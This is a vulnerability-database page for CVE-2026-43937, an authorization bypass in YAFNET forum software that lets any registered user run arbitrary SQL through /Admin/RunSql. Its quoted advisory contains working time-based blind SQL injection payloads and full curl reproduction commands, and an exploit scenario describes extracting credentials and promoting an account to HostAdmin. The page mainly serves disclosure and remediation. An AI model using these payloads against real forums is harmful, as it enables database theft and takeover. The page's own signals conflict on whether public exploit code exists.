Skip to main content

YAFNET CVE-2026-43937

HIGH
SQL Injection (CWE-89)
2026-05-05 https://github.com/YAFNET/YAFNET GHSA-xhw7-j96h-c3g5
8.8
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Register forum account
  2. Delivery
    Capture CSRF token from any page
  3. Exploit
    POST crafted SQL to /Admin/RunSql
  4. Install
    Handler executes before auth check
  5. C2
    Inject time-based conditional query
  6. Execute
    Exfiltrate database byte-by-byte
  7. Impact
    Escalate to HostAdmin via UPDATE

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Persistence

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires a registered YAFNET user account with the lowest privilege level (standard forum member). Self-registration is enabled by default on most YAFNET deployments, allowing attackers to create accounts without administrator approval-effectively reducing this to an unauthenticated attack surface. No special configuration, non-default features, or elevated roles required. The /Admin/RunSql endpoint must be reachable (it is present in all YAFNET deployments by design as an admin diagnostic tool). The vulnerability is exploitable against default configurations. Limiting factor: attacker must possess a valid __RequestVerificationToken (anti-CSRF token) and session cookies, obtainable by loading any authenticated page-this requires maintaining an active session but does not require user interaction beyond the attacker's own login. The SQL Server backend must support WAITFOR DELAY (present in all Microsoft SQL Server and Azure SQL Database instances), though exploitation primitives using error-based or UNION-based injection would work even without time delays. The CVSS vector (PR:L) understates ease of access in real-world deployments with open registration.

Impact

Real-world risk is critical despite no CISA KEV listing at time of analysis. CVSS 8.8 accurately reflects impact (C:H/I:H/A:H) and ease of exploitation (AV:N/AC:L/PR:L/UI:N). The PR:L (low privileges required) understates actual accessibility: any deployment with self-registration enabled treats this as effectively unauthenticated (attacker registers in seconds). EPSS data unavailable, but publicly available exploit code exists (GitHub advisory with working curl commands) and the vendor confirmed the issue, strongly indicating real exploitation attempts. SSVC decision drivers align for immediate action: Exploitation is Public (POC available), Automatable (single HTTP POST), and Technical Impact is Total (arbitrary SQL with database admin rights). The impact chain extends beyond the application trust boundary-SQL Server deployments with xp_cmdshell or CLR integration (common in dev/test environments) escalate to OS command execution on the database host. No conflicting signals detected: CVSS vector matches description (network-based, low-privilege, no user interaction), and the patch commit directly addresses the root cause by moving authorization checks upstream in the filter pipeline. Organizations running YAFNET ≤4.0.4 with public-facing forums or self-registration should treat this as emergency-priority.

Exploit ScenarioDerived

Attacker registers a new account on a public YAFNET forum (or uses an existing low-privileged account). They craft a POST request to /Admin/RunSql?handler=RunQuery with a time-based SQL injection payload in the Editor parameter: IF (ASCII(SUBSTRING(@@VERSION,1,1))=77) WAITFOR DELAY '0:0:5'. The server executes the SQL before the authorization filter triggers, causing a 5-second delay if the condition is true. The attacker automates this to extract database credentials, session tokens, or user passwords byte-by-byte, then injects UPDATE yaf_UserRole statements to promote their account to HostAdmin, gaining full administrative control. In environments with xp_cmdshell enabled, the attacker pivots to execute OS commands on the database server.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 05, 2026

Authorization bypass in YAFNET forum software (versions ≤4.0.4) allows any low-privileged authenticated user to execute arbitrary SQL commands against the backend database. The flaw stems from a misplaced ASP.NET Core filter (PageSecurityCheckAttribute) that validates admin privileges *after* page handlers execute, enabling attackers to inject SQL via the /Admin/RunSql endpoint before the 302 redirect occurs. Publicly available exploit code exists (GitHub advisory GHSA-xhw7-j96h-c3g5) demonstrating time-based blind SQL injection to extract @@VERSION and manipulate identity tables. CVSS 8.8 (AV:N/AC:L/PR:L) reflects network-accessible exploitation requiring only a standard forum account-trivially obtained via self-registration on most deployments. Vendor-released patch available in version 4.0.5.

RemediationAI

Upgrade immediately to YAFNET 4.0.5 or later (vendor-released patch confirmed by GitHub commit 27f7e671f93698f7e014d5d0fb88320248b8aa20). The patch migrates authorization logic from ResultFilterAttribute to OnPageHandlerExecutionAsync in ForumPage.cs, ensuring admin checks execute before handler side effects. No workaround exists that fully mitigates the vulnerability while remaining on ≤4.0.4. Interim compensating controls (each with significant trade-offs): (1) Disable self-registration and manually vet all user accounts-reduces attacker surface but breaks open-forum deployments and requires ongoing operational overhead. (2) Use a web application firewall (WAF) to block POST requests to /Admin/* paths from non-admin session tokens-brittle (requires deep session inspection) and bypassable if attacker compromises a legitimate admin session cookie. (3) Restrict SQL Server permissions for the YAFNET application's database user to read-only on identity tables (AspNetUsers, yaf_User, yaf_UserRole) and revoke ALTER, DROP, and EXECUTE on stored procedures-limits privilege escalation but does not prevent data exfiltration or DoS via WAITFOR. (4) Disable xp_cmdshell and CLR integration on the SQL Server instance-prevents OS-level breakout but does not address the core authorization bypass. None of these controls prevent the time-based SQL injection primitive. Organizations unable to upgrade within 24-48 hours should consider taking the forum offline. Post-upgrade, audit admin activity logs for anomalous /Admin/RunSql requests from non-admin users prior to patching. Advisory URLs: https://github.com/YAFNET/YAFNET/security/advisories/GHSA-xhw7-j96h-c3g5 (vendor), https://github.com/advisories/GHSA-xhw7-j96h-c3g5 (GitHub aggregated advisory).

Affected Packages

nuget yafnet.core fix: 4.0.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in nuget

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

YAFNET is an ASP.NET Core-based open-source forum platform (NuGet package yafnet.core) built on Razor Pages with SQL Server backend. The vulnerability exploits a fundamental ASP.NET Core filter lifecycle misunderstanding: ResultFilterAttribute executes in the result-processing pipeline *after* OnPost* handlers complete, meaning PageSecurityCheckAttribute only modifies the HTTP response (302 redirect) while the handler's database side effects (SQL execution, file writes, user role changes) have already occurred. The affected /Admin/RunSql handler binds unsanitized POST data directly to IDbAccess.RunSql with no parameterization, yielding CWE-89 (SQL Injection). The time-based oracle uses SQL Server's WAITFOR DELAY and conditional IF statements to exfiltrate data byte-by-byte. Because the bypass affects the entire PageSecurityCheckAttribute class, all admin endpoints (/Admin/*) are vulnerable to unauthorized invocation, though /Admin/RunSql provides the most direct SQL primitive. The fix refactors authorization into OnPageHandlerExecutionAsync (an IAsyncPageFilter hook) that short-circuits execution *before* handlers run.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionGitHub Advisory

Issue Details: YAFNET's only admin authorization gate is PageSecurityCheckAttribute, implemented as a ResultFilterAttribute that runs *after* the page handler completes rather than before it. No other gate exists. Any admin OnPost… handler therefore executes its side effects before the filter rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user.

A deterministic boolean-conditional time oracle was confirmed end-to-end by extracting the first character of @@VERSION: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' produced a ~5-second delay (confirming the byte is M), while IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' returned immediately.

Impact: An attacker holding the lowest-privileged authenticated role, effectively an anonymous attacker on any deployment that permits self-registration, gains arbitrary blind SQL execution against the application's database, with full INSERT/UPDATE/DELETE access to every table including the Identity store (AspNetUsers, yaf_User, yaf_UserRole). This yields full loss of Confidentiality (any column extractable via the time oracle), full loss of Integrity (blind writes to identity, posts, and forum configuration, including self-promotion to HostAdmin), and full loss of Availability (DELETE/DROP/WAITFOR-driven DoS). The impact escalates out of the application's trust domain: if the underlying SQL Server instance has xp_cmdshell or CLR integration enabled (common in development and test builds), the same primitive yields OS-level command execution on the database host. Because the bypass is class-wide, every other admin handler is also callable, multiplying the blast radius across user management, XML imports, and file-writing configuration pages.

Likelihood: Exploitation requires only a registered forum account (self-registration available on most deployments) and a single HTTP POST request. The attack is fully automatable in one request per probe and produces a deterministic time-based oracle with no error handling required, making the overall likelihood very high.

Steps to Reproduce:

  • Register or log in to the forum as any low-privileged user.
  • Acquire the standard __RequestVerificationToken token from any rendered page and the cookies.
  • Use the following CURL command:

Payload: `IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5'` (77 is the character M) URL Encoded Payload: `%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27`

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

<img width="1619" height="921" alt="image" src="https://github.com/user-attachments/assets/1c5d4d96-a69a-47eb-9558-e5fe1e6cc9e4" />

Payload: `IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5'` (76 is the character L) URL Encoded Payload: `%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27`

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

<img width="1616" height="928" alt="image" src="https://github.com/user-attachments/assets/e499da2e-d4d1-41cd-a5da-e709bf60f817" />

Observe that when the condition is true the response time increases, if false, it remains unchanged which confirms the presence of SQL Injection.

Remediation:

  • Convert PageSecurityCheckAttribute from a ResultFilterAttribute to an IAsyncPageFilter so the admin check runs in OnPageHandlerExecutionAsync and short-circuits with AccessDenied() before any handler side effects occur.
  • Layer an ASP.NET Core authorization policy as defense-in-depth: AddAuthorization(... AddPolicy("YafAdmin", ...)) combined with AuthorizeFolder("/Admin", "YafAdmin") in the Razor Pages conventions.
  • Restrict /Admin/RunSql to HostAdmin only and wrap IDbAccess.RunSql in a statement-type allow-list that rejects non-read-only SQL, even for legitimate admins.
  • Audit and fix any other authorization logic implemented in ResultFilterAttribute / OnResultExecuting(Async), they share the same lifecycle bug.
  • Add regression tests that invoke each admin OnPost… handler as a non-admin and assert no database or filesystem side effects occur.

Executive ViewAI

Why It Matters

YAFNET forum software versions 4.0.4 and earlier contain an authorization bypass vulnerability that allows any registered user to execute arbitrary SQL commands against the database, potentially enabling data exfiltration, modification, or deletion. Organizations running YAFNET forums face immediate risk of database compromise and data breach if user accounts exist on unpatched instances, since forum self-registration is typically enabled.

Business Impact: High
Compensating Controls

Apply vendor patch to version 4.0.5. If patch deployment is delayed: (1) disable forum self-registration to restrict attacker access to user accounts, (2) implement network-level access controls restricting the /Admin/RunSql endpoint to administrative IP ranges only, (3) enable detailed SQL query logging and alerting on the backend database for anomalous commands, (4) monitor database activity for time-based blind SQL injection patterns.

Threat Intelligence Overview

EPSS Score
0.1%
Top 78% exploitable
Threat Intel
1
1 source
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.

Affected Products (CPE)GitHub Advisory

pkg:nuget/yafnet.core

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy